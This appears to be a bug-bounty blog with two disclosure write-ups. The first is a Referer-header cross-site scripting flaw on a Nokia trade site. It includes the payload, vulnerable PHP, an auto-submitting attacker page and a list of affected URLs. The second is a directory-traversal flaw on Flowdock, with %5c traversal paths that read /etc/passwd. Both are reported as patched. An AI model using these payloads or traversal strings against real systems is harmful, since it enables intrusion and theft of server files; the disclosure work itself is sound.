Tuesday, 26 August 2014

Nokia : Exploiting cross-site scripting in Referer header in Trade.online.nokia.com



Little Insight: 

 

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks or referer page back link . The payload Referer: javascript:prompt(1); was submitted in the Referer HTTP header. This input was store on page back link when user click back link that's make an XSS.


How This Work?

 

Suppose we have an application that generates a "Back" link from Referer header

<?php
echo '<a href="';
echo $_SERVER['HTTP_REFERER'];
echo '">Back</a>\n';
?>
 
 
We can inject HTML and JavaScript if we can set the Referer header. This can be done if we first get the victim to visit a page created by the attacker. Consider the following page (let's call it exploit.html):


<html>
<body>
<form   id="jeet"
        name="jeet"
        method="GET"
        action="http://victim.example.com/xss.php">
</form>
<script>
document.getElementById("jeet").submit();
</script>
</body>
</html>
 
 
 
If the victim is tricked into visiting 

http://attacker.example.com/exploit.html?<script>alert(1);</script> 

he will end up on the vulnerable page with the Referer header containing XSS attack.

This attack works in Internet Explorer, but does not work in Firefox, because Firefox will URL-encode the characters after the question mark. 



My Finding....

 

Host: trade.online.nokia.com


vulnrable pages :
https://trade.online.nokia.com/cps/
https://trade.online.nokia.com/cps/script/
https://trade.online.nokia.com/cps/script/common/
https://trade.online.nokia.com/cps/script/console/.
https://trade.online.nokia.com/cps/script/preview/.
https://trade.online.nokia.com/cps/theme/common/corporate/style/.
https://trade.online.nokia.com/cps/theme/common/corporate/
https://trade.online.nokia.com/cps/theme/common/
https://trade.online.nokia.com/cps/theme/
https://trade.online.nokia.com/cps/theme/console/corporate/style/
https://trade.online.nokia.com/cps/theme/console/corporate/
https://trade.online.nokia.com/cps/theme/console/
https://trade.online.nokia.com/login/fonts/.
https://trade.online.nokia.com/pics/
https://trade.online.nokia.com/pictures/
https://trade.online.nokia.com/siteminderagent/dmspages/.
https://trade.online.nokia.com/siteminderagent/forms/.
https://trade.online.nokia.com/siteminderagent/
https://trade.online.nokia.com/siteminderagent/pw/.

Continue..............

 

 Normal Request..


 After Payload...


Xss....on back link..



More Information

 

The vulnerability mentioned here has been confirmed patched by the Nokia Security Team.

 


 

Monday, 25 August 2014

Flowdock Web Security Bug Bounty: Directory Traversal / Local File Inclusion In Flowdock.com

 

 

Little insight on LFI

 

https://www.flowdock.com was vulnerable to a directory traversal / local file inclusion vulnerability. As a result, it was possible for an attacker to load webserver-readable files from the local filesystem.

 

How This work..?

 

On the Flowdock API documentation source files in a separate, public GitHub repository. This allows anyone to contribute and report issues, or ask questions in public. they serve the documentation in Rails by rendering markdown as HTML and injecting the generated HTML files as views.

To avoid adding a new route every time we add a new page, our route file had the following rule:


              get '/api/*action', controller: 'docs' 

In this setup the controller is only responsible for setting up the layout.

A request such as 

api//%5c../%5c../%5c../%5c../%5c../%5c../%5c../etc/passwd/

Or
api/%5C../%5C../%5C../Gemfile 

exposed files outside of Rails’ view paths. '%5C' turns into '\' after decoding. Using
Rack::Protection  didn’t help as it only rejects '/../' segments in the request path.  

My Finding....

 

In the above summary it only rejects '/../' segments in the request path and path is not sanitized to filter out malicious characters like "..%5c", It is easily possible to access any file which is locally stored on the system outside the root directory.

Now coming back to Flowdock.com 



here is the proof of concept that I included with the bug. It displayed the contents of the /etc/passwd file of the Flowdock.com server








The vulnerability was resolved now and more Info about Fix



More about


The vulnerability mentioned here has been confirmed fixed by Flowdock Team.

I’d like to thank Otto Hilska , Tuomas Silen and ville Lautanal for handling this issue and  the vulnerability was patched and the fix was deployed in production about two and a half after my initial report.

Its my first writing for poc....

Blog Writing style copied from Neal Poole blog thanks for write such a great blog.....